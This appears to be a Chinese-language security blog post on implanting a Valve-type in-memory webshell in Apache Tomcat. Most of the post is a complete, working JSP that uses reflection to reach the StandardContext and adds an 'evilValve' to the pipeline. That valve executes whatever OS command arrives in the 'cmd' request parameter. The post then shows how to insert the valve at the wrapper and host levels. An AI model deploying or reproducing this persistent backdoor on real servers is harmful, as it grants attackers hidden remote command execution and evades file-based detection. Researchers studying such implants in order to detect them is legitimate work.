Tomcat内存马--Valve型
关于valve及pipeline的相关知识建议看这篇文章:Tomcat中容器的pipeline机制
实现
同前面几种内存马一样,valve型的内存马实现的关键也是如何动态插入valve。看了上面的文章也就知道,只要获取到pipeline
对象,调用其addValve
方法即可插入。如何获取pipeline
对象呢,直接从StandardContext
中获取即可,如何获取StandardContext
就不用多说了。关键代码可简化为
StandardContext standardContext1= (StandardContext) request2.getContext();
Pipeline pipeline=standardContext1.getPipeline();
pipeline.addValve(new evilValve());
写一个jsp的完整demo
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="org.apache.coyote.RequestGroupInfo" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Connector" %>
<%@ page import="org.apache.catalina.core.StandardService" %>
<%@ page import="org.apache.catalina.loader.WebappClassLoaderBase" %>
<%@ page import="org.apache.coyote.AbstractProtocol" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.coyote.RequestInfo" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="java.io.Writer" %>
<%
class evilValve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
%>
<%
//获取service属性
WebappClassLoaderBase classLoaderBase= (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext= (StandardContext) classLoaderBase.getResources().getContext();
Field context=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext= (ApplicationContext) context.get(standardContext);
Field servicef=applicationContext.getClass().getDeclaredField("service");
servicef.setAccessible(true);
StandardService service=(StandardService) servicef.get(applicationContext);
//获取connector
Connector[] connectors=service.findConnectors();
Connector connector=connectors[0];
//获取global
AbstractProtocol abstractProtocol= (AbstractProtocol) connector.getProtocolHandler();
Method getHandler=Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
getHandler.setAccessible(true);
Object connectionHandler=getHandler.invoke(abstractProtocol);
Method getGlobal=Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredMethod("getGlobal");
RequestGroupInfo global= (RequestGroupInfo) getGlobal.invoke(connectionHandler);
//获取request
Field processorsf=Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsf.setAccessible(true);
ArrayList<RequestInfo> processors= (ArrayList<RequestInfo>) processorsf.get(global);
RequestInfo requestInfo=processors.get(0);
Field req=Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req.setAccessible(true);
org.apache.coyote.Request request1=(org.apache.coyote.Request) req.get(requestInfo);
Request request2=(Request) request1.getNote(1);
//动态插入valve
StandardContext standardContext1= (StandardContext) request2.getContext();
Pipeline pipeline=standardContext1.getPipeline();
pipeline.addValve(new evilValve());
%>
扩展
pipeline
不止在context
层有,所以我们也可以在其他层插入valve
,在不同层插入影响范围不同,以wrapper
为例
StandardWrapper wrapper= (StandardWrapper) request2.getWrapper();
Pipeline pipeline=wrapper.getPipeline();
pipeline.addValve(new evilValve());
host也同理